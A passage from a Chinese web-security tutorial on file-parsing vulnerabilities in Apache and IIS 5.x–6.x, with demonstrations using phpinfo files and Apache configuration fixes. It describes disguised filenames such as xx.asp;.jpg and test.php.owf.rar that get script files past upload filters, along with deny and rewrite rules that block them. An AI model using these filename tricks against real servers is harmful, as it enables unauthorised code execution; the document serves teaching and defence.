如：test.php.owf.rar文件".owf"和".rar" 这两种后缀是Apache不可识别解析的，则Apache
就会把xx.php.owf.rar解析成php文件。
①解析漏洞：自动忽略不可解析漏洞
在Apache2.2版本及之前的站点目录将phpinfo.php改为phpinfo.php.xxxx然后访问。
②其余配置漏洞1
在Apache的httpd-conf文件里有AddType application/x-httpd-php .jpg配置。即使扩展
名是 .jpg结尾，一样能以php文件方式来解析，如xx.jpg文件。
添加一个phpinfo.jpg文件
访问phpinfo.jpg文件
③其余配置漏洞2
若在Apache的httpd-conf文件里有AddHandler php5-script .php配置。那么只要文件名里
包含 .php字段，即使文件名是test2.php.jpg 也会以php文件来解析。
添加一个phpinfo.php.jpg文件
访问phpinfo.php.jpg文件
10.3 Apache漏洞修复
①禁止执行 .php.文件
禁止执行 .php.这样的文件，在Apache配置文件里面加入如下配置
<Files ~ ".(php.|php3.)">
Order Allow,Deny
Deny from all
</Files>
②采用伪静态
采用伪静态，重写类似.php.*这类的文件：
1、打开Apache的httpd-conf配置文件。
2、找到LoadModule rewrite_module modules/mod_rewrite.so配置。
3、把 # 号去掉。
4、保存Apache配置文件，重启PHP study服务。
5、在网站根目录下建立 .htaccess文件，添加如下代码：
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
十一、IIS5.x-IIS6.x解析漏洞
使用IIS5.x-IIS6.x版本的服务器，大多为Windows server 2003系统，网站都比较古老，一
般为asp开发语言。其解析漏洞也只能解析asp文件，不能解析aspx文件。
Win7 - Win10中多为iis7.x-8.x高版本服务器。
目录解析(6.0)
原理：服务器默认会把xx.asp和xx.asa目录下的文件都解析成asp文件。
文件解析
原理：服务器默认不解析分号;后的内容，因此xx.asp;.jpg会被解析成asp文件。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种
/test.asa
/test.cer
/test.cdx
修复方案
目前尚无微软官方补丁，可自行编写正则，阻止上传xx.asp;.jpg类型的文件名。
做好权限设置，限制用户创建文件夹。
11.1 漏洞演示
①目录解析演示
在IISasp虚拟机站点目录新建 .asp后缀文件夹。
服务器默认会把 .asp和.asa目录下的任意后缀名的文件都解析成asp文件。
上传asp.jpg文件，尝试访问
有个前提条件，就是用户对目录有修改权限。
通过抓包发现其中的目录是可以通过请求来改变的，那么这种情况下很有可能成功。
②文件解析演示
上传asp.asp;.jpg文件，iis能够对这个文件类型进行解析。
访问文件------访问成功
③解析文件类型演示
IIS6.0默认可执行文件除asp还包含三种：
/test.asa /test.cer /test.cdx
这三种也会被当作脚本解析，开发人员做黑名单时不加入此三种文件会导致漏洞。
上传一个cer后缀文件------访问此文件------访问成功